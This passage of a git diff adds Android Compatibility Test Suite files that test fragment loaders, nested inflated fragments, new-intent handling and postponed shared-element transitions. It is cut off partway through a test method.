+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Fragment;
+import android.app.FragmentManager;
+import android.app.LoaderManager;
+import android.content.AsyncTaskLoader;
+import android.content.Context;
+import android.content.Loader;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.ref.WeakReference;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LoaderTest {
+    private static final int DELAY_LOADER = 10;
+
+    @Rule
+    public ActivityTestRule<LoaderActivity> mActivityRule =
+            new ActivityTestRule<>(LoaderActivity.class);
+
+    /**
+     * Test to ensure that there is no Activity leak due to Loader
+     */
+    @Test
+    public void testLeak() throws Throwable {
+        // Restart the activity because mActivityRule keeps a strong reference to the
+        // old activity.
+        LoaderActivity activity = FragmentTestUtil.recreateActivity(mActivityRule,
+                mActivityRule.getActivity());
+        LoaderFragment fragment = new LoaderFragment();
+        FragmentManager fm = activity.getFragmentManager();
+
+        fm.beginTransaction()
+                .add(fragment, "1")
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule, fm);
+
+        fm.beginTransaction()
+                .remove(fragment)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.executePendingTransactions(mActivityRule, fm);
+        fm = null; // clear it so that it can be released
+
+        WeakReference<LoaderActivity> weakActivity = new WeakReference(LoaderActivity.sActivity);
+
+        activity = FragmentTestUtil.recreateActivity(mActivityRule, activity);
+
+        // Wait for everything to settle. We have to make sure that the old Activity
+        // is ready to be collected.
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        // Now force a garbage collection.
+        FragmentTestUtil.forceGC();
+        assertNull(weakActivity.get());
+    }
+
+    /**
+     * When a LoaderManager is reused, it should notify in onResume
+     */
+    @Test
+    public void startWhenReused() throws Throwable {
+        LoaderActivity activity = mActivityRule.getActivity();
+
+        assertEquals("Loaded!", activity.textView.getText().toString());
+
+        activity = FragmentTestUtil.recreateActivity(mActivityRule, activity);
+
+        // After orientation change, the text should still be loaded properly
+        assertEquals("Loaded!", activity.textView.getText().toString());
+    }
+
+    /**
+     * When a change is interrupted with stop, the data in the LoaderManager remains stale.
+     */
+    @Test
+    public void noStaleData() throws Throwable {
+        final LoaderActivity activity = mActivityRule.getActivity();
+        final String[] value = new String[] { "First Value" };
+
+        final CountDownLatch[] loadedLatch = new CountDownLatch[] { new CountDownLatch(1) };
+        final Loader<String>[] loaders = new Loader[1];
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                final Loader<String> loader =
+                        activity.getLoaderManager().initLoader(DELAY_LOADER, null,
+                                new LoaderManager.LoaderCallbacks<String>() {
+                                    @Override
+                                    public Loader<String> onCreateLoader(int id, Bundle args) {
+                                        return new AsyncTaskLoader<String>(activity) {
+                                            @Override
+                                            protected void onStopLoading() {
+                                                cancelLoad();
+                                            }
+
+                                            @Override
+                                            public String loadInBackground() {
+                                                SystemClock.sleep(50);
+                                                return value[0];
+                                            }
+
+                                            @Override
+                                            protected void onStartLoading() {
+                                                if (takeContentChanged()) {
+                                                    forceLoad();
+                                                }
+                                                super.onStartLoading();
+                                            }
+                                        };
+                                    }
+
+                                    @Override
+                                    public void onLoadFinished(Loader<String> loader, String data) {
+                                        activity.textViewB.setText(data);
+                                        loadedLatch[0].countDown();
+                                    }
+
+                                    @Override
+                                    public void onLoaderReset(Loader<String> loader) {
+                                    }
+                                });
+                loader.forceLoad();
+                loaders[0] = loader;
+            }
+        });
+
+        assertTrue(loadedLatch[0].await(1, TimeUnit.SECONDS));
+        assertEquals("First Value", activity.textViewB.getText().toString());
+
+        loadedLatch[0] = new CountDownLatch(1);
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                value[0] = "Second Value";
+                loaders[0].onContentChanged();
+                loaders[0].stopLoading();
+            }
+        });
+
+        // Since the loader was stopped (and canceled), it shouldn't notify the change
+        assertFalse(loadedLatch[0].await(300, TimeUnit.MILLISECONDS));
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                loaders[0].startLoading();
+            }
+        });
+
+        // Since the loader was stopped (and canceled), it shouldn't notify the change
+        assertTrue(loadedLatch[0].await(1, TimeUnit.SECONDS));
+        assertEquals("Second Value", activity.textViewB.getText().toString());
+    }
+
+    public static class LoaderFragment extends Fragment {
+        private static final int LOADER_ID = 1;
+        private final LoaderManager.LoaderCallbacks<Boolean> mLoaderCallbacks =
+                new LoaderManager.LoaderCallbacks<Boolean>() {
+                    @Override
+                    public Loader<Boolean> onCreateLoader(int id, Bundle args) {
+                        return new DummyLoader(getContext());
+                    }
+
+                    @Override
+                    public void onLoadFinished(Loader<Boolean> loader, Boolean data) {
+
+                    }
+
+                    @Override
+                    public void onLoaderReset(Loader<Boolean> loader) {
+
+                    }
+                };
+
+        @Override
+        public void onActivityCreated(Bundle savedInstanceState) {
+            super.onActivityCreated(savedInstanceState);
+
+            getLoaderManager().initLoader(LOADER_ID, null, mLoaderCallbacks);
+        }
+    }
+
+    static class DummyLoader extends Loader<Boolean> {
+        DummyLoader(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onStartLoading() {
+            deliverResult(true);
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java b/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
new file mode 100644
index 0000000..e24eb39
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.fragment.cts;
+
+import android.app.Fragment;
+import android.app.FragmentManager;
+import android.os.Bundle;
+import android.support.annotation.Nullable;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.TextView;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+public class NestedInflatedFragmentTest {
+    private static final String TAG = "NestedInflatedFragmentTest";
+
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<>(FragmentTestActivity.class);
+
+    @Test
+    public void inflatedChildFragment() throws Throwable {
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                final FragmentTestActivity activity = mActivityRule.getActivity();
+                final FragmentManager fm = activity.getFragmentManager();
+
+                ParentFragment parentFragment = new ParentFragment();
+                fm.beginTransaction().add(android.R.id.content, parentFragment).commitNow();
+
+                fm.beginTransaction().replace(android.R.id.content, new SimpleFragment())
+                        .addToBackStack(null).commit();
+                fm.executePendingTransactions();
+
+                fm.popBackStackImmediate();
+            }
+        });
+    }
+
+    public static class ParentFragment extends Fragment {
+        @Nullable
+        @Override
+        public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+                @Nullable Bundle savedInstanceState) {
+            return inflater.inflate(R.layout.nested_inflated_fragment_parent, container, false);
+        }
+    }
+
+    public static class InflatedChildFragment extends Fragment {
+        @Nullable
+        @Override
+        public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+                @Nullable Bundle savedInstanceState) {
+            return inflater.inflate(R.layout.nested_inflated_fragment_child, container, false);
+        }
+    }
+
+    public static class SimpleFragment extends Fragment {
+        @Nullable
+        @Override
+        public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+                @Nullable Bundle savedInstanceState) {
+            TextView textView = new TextView(inflater.getContext());
+            textView.setText("Simple fragment");
+            return textView;
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/NewIntentActivity.java b/tests/fragment/src/android/fragment/cts/NewIntentActivity.java
new file mode 100644
index 0000000..d420ebd
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/NewIntentActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import android.app.Activity;
+import android.app.Fragment;
+import android.content.Intent;
+import android.os.Bundle;
+
+import java.util.concurrent.CountDownLatch;
+
+public class NewIntentActivity extends Activity {
+    public final CountDownLatch newIntent = new CountDownLatch(1);
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        if (savedInstanceState == null) {
+            getFragmentManager()
+                    .beginTransaction()
+                    .add(new FooFragment(), "derp")
+                    .commitNow();
+        }
+    }
+
+    @Override
+    public void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        // Test a child fragment transaction -
+        getFragmentManager()
+                .findFragmentByTag("derp")
+                .getChildFragmentManager()
+                .beginTransaction()
+                .add(new FooFragment(), "derp4")
+                .commitNow();
+        newIntent.countDown();
+    }
+
+    public static class FooFragment extends Fragment {
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/NonConfigOnStopActivity.java b/tests/fragment/src/android/fragment/cts/NonConfigOnStopActivity.java
new file mode 100644
index 0000000..a93b616
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/NonConfigOnStopActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import android.app.Fragment;
+
+public class NonConfigOnStopActivity extends RecreatedActivity {
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        getFragmentManager()
+                .beginTransaction()
+                .add(new RetainedFragment(), "1")
+                .commitNowAllowingStateLoss();
+    }
+
+    public static class RetainedFragment extends Fragment {
+        public RetainedFragment() {
+            setRetainInstance(true);
+        }
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java b/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
new file mode 100644
index 0000000..dbdf94d
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
@@ -0,0 +1,913 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Fragment;
+import android.app.FragmentController;
+import android.app.FragmentManager;
+import android.app.FragmentManagerNonConfig;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class PostponedTransitionTest {
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
+
+    private PostponedFragment1 mBeginningFragment;
+
+    @Before
+    public void setupContainer() throws Throwable {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        mBeginningFragment = new PostponedFragment1();
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer, mBeginningFragment)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        mBeginningFragment.startPostponedEnterTransition();
+        mBeginningFragment.waitForTransition();
+        clearTargets(mBeginningFragment);
+    }
+
+    // Ensure that replacing with a fragment that has a postponed transition
+    // will properly postpone it, both adding and popping.
+    @Test
+    public void replaceTransition() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final PostponedFragment2 fragment = new PostponedFragment2();
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        // should be postponed now
+        assertPostponedTransition(mBeginningFragment, fragment, null);
+
+        // start the postponed transition
+        fragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(mBeginningFragment, fragment);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        // should be postponed going back, too
+        assertPostponedTransition(fragment, mBeginningFragment, null);
+
+        // start the postponed transition
+        mBeginningFragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment, mBeginningFragment);
+    }
+
+    // Ensure that replacing a fragment doesn't cause problems with the back stack nesting level
+    @Test
+    public void backStackNestingLevel() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        View startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment1 = new TransitionFragment2();
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment1)
+                .addToBackStack(null)
+                .setReorderingAllowed(true)
+                .commit();
+
+        // make sure transition ran
+        assertForwardTransition(mBeginningFragment, fragment1);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        // should be postponed going back
+        assertPostponedTransition(fragment1, mBeginningFragment, null);
+
+        // start the postponed transition
+        mBeginningFragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment1, mBeginningFragment);
+
+        startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment2 = new TransitionFragment2();
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .setReorderingAllowed(true)
+                .commit();
+
+        // make sure transition ran
+        assertForwardTransition(mBeginningFragment, fragment2);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        // should be postponed going back
+        assertPostponedTransition(fragment2, mBeginningFragment, null);
+
+        // start the postponed transition
+        mBeginningFragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment2, mBeginningFragment);
+    }
+
+    // Ensure that postponed transition is forced after another has been committed.
+    // This tests when the transactions are executed together
+    @Test
+    public void forcedTransition1() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final PostponedFragment2 fragment2 = new PostponedFragment2();
+        final PostponedFragment1 fragment3 = new PostponedFragment1();
+
+        final int commit[] = new int[1];
+        // Need to run this on the UI thread so that the transaction doesn't start
+        // between the two
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                commit[0] = fm.beginTransaction()
+                        .addSharedElement(startBlue, "blueSquare")
+                        .replace(R.id.fragmentContainer, fragment2)
+                        .addToBackStack(null)
+                        .commit();
+
+                fm.beginTransaction()
+                        .addSharedElement(startBlue, "blueSquare")
+                        .replace(R.id.fragmentContainer, fragment3)
+                        .addToBackStack(null)
+                        .commit();
+            }
+        });
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        // transition to fragment2 should be started
+        assertForwardTransition(mBeginningFragment, fragment2);
+
+        // fragment3 should be postponed, but fragment2 should be executed with no transition.
+        assertPostponedTransition(fragment2, fragment3, mBeginningFragment);
+
+        // start the postponed transition
+        fragment3.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(fragment2, fragment3);
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule, commit[0],
+                FragmentManager.POP_BACK_STACK_INCLUSIVE);
+
+        assertBackTransition(fragment3, fragment2);
+
+        assertPostponedTransition(fragment2, mBeginningFragment, fragment3);
+
+        // start the postponed transition
+        mBeginningFragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment2, mBeginningFragment);
+    }
+
+    // Ensure that postponed transition is forced after another has been committed.
+    // This tests when the transactions are processed separately.
+    @Test
+    public void forcedTransition2() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final PostponedFragment2 fragment2 = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(mBeginningFragment, fragment2, null);
+
+        final PostponedFragment1 fragment3 = new PostponedFragment1();
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment3)
+                .addToBackStack(null)
+                .commit();
+
+        // This should cancel the mBeginningFragment -> fragment2 transition
+        // and start fragment2 -> fragment3 transition postponed
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        // fragment3 should be postponed, but fragment2 should be executed with no transition.
+        assertPostponedTransition(fragment2, fragment3, mBeginningFragment);
+
+        // start the postponed transition
+        fragment3.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(fragment2, fragment3);
+
+        // Pop back to fragment2, but it should be postponed
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment3, fragment2, null);
+
+        // Pop to mBeginningFragment -- should cancel the fragment2 transition and
+        // start the mBeginningFragment transaction postponed
+
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment2, mBeginningFragment, fragment3);
+
+        // start the postponed transition
+        mBeginningFragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment2, mBeginningFragment);
+    }
+
+    // Do a bunch of things to one fragment in a transaction and see if it can screw things up.
+    @Test
+    public void crazyTransition() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue = mActivityRule.getActivity().findViewById(R.id.blueSquare);
+
+        final PostponedFragment2 fragment2 = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue, "blueSquare")
+                .hide(mBeginningFragment)
+                .replace(R.id.fragmentContainer, fragment2)
+                .hide(fragment2)
+                .detach(fragment2)
+                .attach(fragment2)
+                .show(fragment2)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(mBeginningFragment, fragment2, null);
+
+        // start the postponed transition
+        fragment2.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(mBeginningFragment, fragment2);
+
+        // Pop back to fragment2, but it should be postponed
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment2, mBeginningFragment, null);
+
+        // start the postponed transition
+        mBeginningFragment.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment2, mBeginningFragment);
+    }
+
+    // Execute transactions on different containers and ensure that they don't conflict
+    @Test
+    public void differentContainers() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        fm.beginTransaction().remove(mBeginningFragment).commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+
+        TransitionFragment fragment1 = new PostponedFragment1();
+        TransitionFragment fragment2 = new PostponedFragment1();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer1, fragment1)
+                .add(R.id.fragmentContainer2, fragment2)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment1.startPostponedEnterTransition();
+        fragment2.startPostponedEnterTransition();
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+        clearTargets(fragment1);
+        clearTargets(fragment2);
+
+        final View startBlue1 = fragment1.getView().findViewById(R.id.blueSquare);
+        final View startBlue2 = fragment2.getView().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment3 = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue1, "blueSquare")
+                .replace(R.id.fragmentContainer1, fragment3)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment3, null);
+
+        final TransitionFragment fragment4 = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue2, "blueSquare")
+                .replace(R.id.fragmentContainer2, fragment4)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment3, null);
+        assertPostponedTransition(fragment2, fragment4, null);
+
+        // start the postponed transition
+        fragment3.startPostponedEnterTransition();
+
+        // make sure only one ran
+        assertForwardTransition(fragment1, fragment3);
+        assertPostponedTransition(fragment2, fragment4, null);
+
+        // start the postponed transition
+        fragment4.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(fragment2, fragment4);
+
+        // Pop back to fragment2 -- should be postponed
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment4, fragment2, null);
+
+        // Pop back to fragment1 -- also should be postponed
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment4, fragment2, null);
+        assertPostponedTransition(fragment3, fragment1, null);
+
+        // start the postponed transition
+        fragment2.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment4, fragment2);
+
+        // but not the postponed one
+        assertPostponedTransition(fragment3, fragment1, null);
+
+        // start the postponed transition
+        fragment1.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment3, fragment1);
+    }
+
+    // Execute transactions on different containers and ensure that they don't conflict.
+    // The postponement can be started out-of-order
+    @Test
+    public void outOfOrderContainers() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        fm.beginTransaction().remove(mBeginningFragment).commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+
+        TransitionFragment fragment1 = new PostponedFragment1();
+        TransitionFragment fragment2 = new PostponedFragment1();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer1, fragment1)
+                .add(R.id.fragmentContainer2, fragment2)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment1.startPostponedEnterTransition();
+        fragment2.startPostponedEnterTransition();
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+        clearTargets(fragment1);
+        clearTargets(fragment2);
+
+        final View startBlue1 = fragment1.getView().findViewById(R.id.blueSquare);
+        final View startBlue2 = fragment2.getView().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment3 = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue1, "blueSquare")
+                .replace(R.id.fragmentContainer1, fragment3)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment3, null);
+
+        final TransitionFragment fragment4 = new PostponedFragment2();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue2, "blueSquare")
+                .replace(R.id.fragmentContainer2, fragment4)
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment3, null);
+        assertPostponedTransition(fragment2, fragment4, null);
+
+        // start the postponed transition
+        fragment4.startPostponedEnterTransition();
+
+        // make sure only one ran
+        assertForwardTransition(fragment2, fragment4);
+        assertPostponedTransition(fragment1, fragment3, null);
+
+        // start the postponed transition
+        fragment3.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(fragment1, fragment3);
+
+        // Pop back to fragment2 -- should be postponed
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment4, fragment2, null);
+
+        // Pop back to fragment1 -- also should be postponed
+        FragmentTestUtil.popBackStackImmediate(mActivityRule);
+
+        assertPostponedTransition(fragment4, fragment2, null);
+        assertPostponedTransition(fragment3, fragment1, null);
+
+        // start the postponed transition
+        fragment1.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment3, fragment1);
+
+        // but not the postponed one
+        assertPostponedTransition(fragment4, fragment2, null);
+
+        // start the postponed transition
+        fragment2.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertBackTransition(fragment4, fragment2);
+    }
+
+    // Make sure that commitNow for a transaction on a different fragment container doesn't
+    // affect the postponed transaction
+    @Test
+    public void commitNowNoEffect() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        fm.beginTransaction().remove(mBeginningFragment).commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.double_container);
+
+        final TransitionFragment fragment1 = new PostponedFragment1();
+        final TransitionFragment fragment2 = new PostponedFragment1();
+
+        fm.beginTransaction()
+                .add(R.id.fragmentContainer1, fragment1)
+                .add(R.id.fragmentContainer2, fragment2)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+        fragment1.startPostponedEnterTransition();
+        fragment2.startPostponedEnterTransition();
+        fragment1.waitForTransition();
+        fragment2.waitForTransition();
+        clearTargets(fragment1);
+        clearTargets(fragment2);
+
+        final View startBlue1 = fragment1.getView().findViewById(R.id.blueSquare);
+        final View startBlue2 = fragment2.getView().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment3 = new PostponedFragment2();
+        final StrictFragment strictFragment1 = new StrictFragment();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue1, "blueSquare")
+                .replace(R.id.fragmentContainer1, fragment3)
+                .add(strictFragment1, "1")
+                .addToBackStack(null)
+                .commit();
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment3, null);
+
+        final TransitionFragment fragment4 = new PostponedFragment2();
+        final StrictFragment strictFragment2 = new StrictFragment();
+
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                fm.beginTransaction()
+                        .addSharedElement(startBlue2, "blueSquare")
+                        .replace(R.id.fragmentContainer2, fragment4)
+                        .remove(strictFragment1)
+                        .add(strictFragment2, "2")
+                        .commitNow();
+            }
+        });
+
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertPostponedTransition(fragment1, fragment3, null);
+        assertPostponedTransition(fragment2, fragment4, null);
+
+        // start the postponed transition
+        fragment4.startPostponedEnterTransition();
+
+        // make sure only one ran
+        assertForwardTransition(fragment2, fragment4);
+        assertPostponedTransition(fragment1, fragment3, null);
+
+        // start the postponed transition
+        fragment3.startPostponedEnterTransition();
+
+        // make sure it ran
+        assertForwardTransition(fragment1, fragment3);
+    }
+
+    // Make sure that commitNow for a transaction affecting a postponed fragment in the same
+    // container forces the postponed transition to start.
+    @Test
+    public void commitNowStartsPostponed() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+        final View startBlue1 = mBeginningFragment.getView().findViewById(R.id.blueSquare);
+
+        final TransitionFragment fragment2 = new PostponedFragment2();
+        final TransitionFragment fragment1 = new PostponedFragment1();
+
+        fm.beginTransaction()
+                .addSharedElement(startBlue1, "blueSquare")
+                .replace(R.id.fragmentContainer, fragment2)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
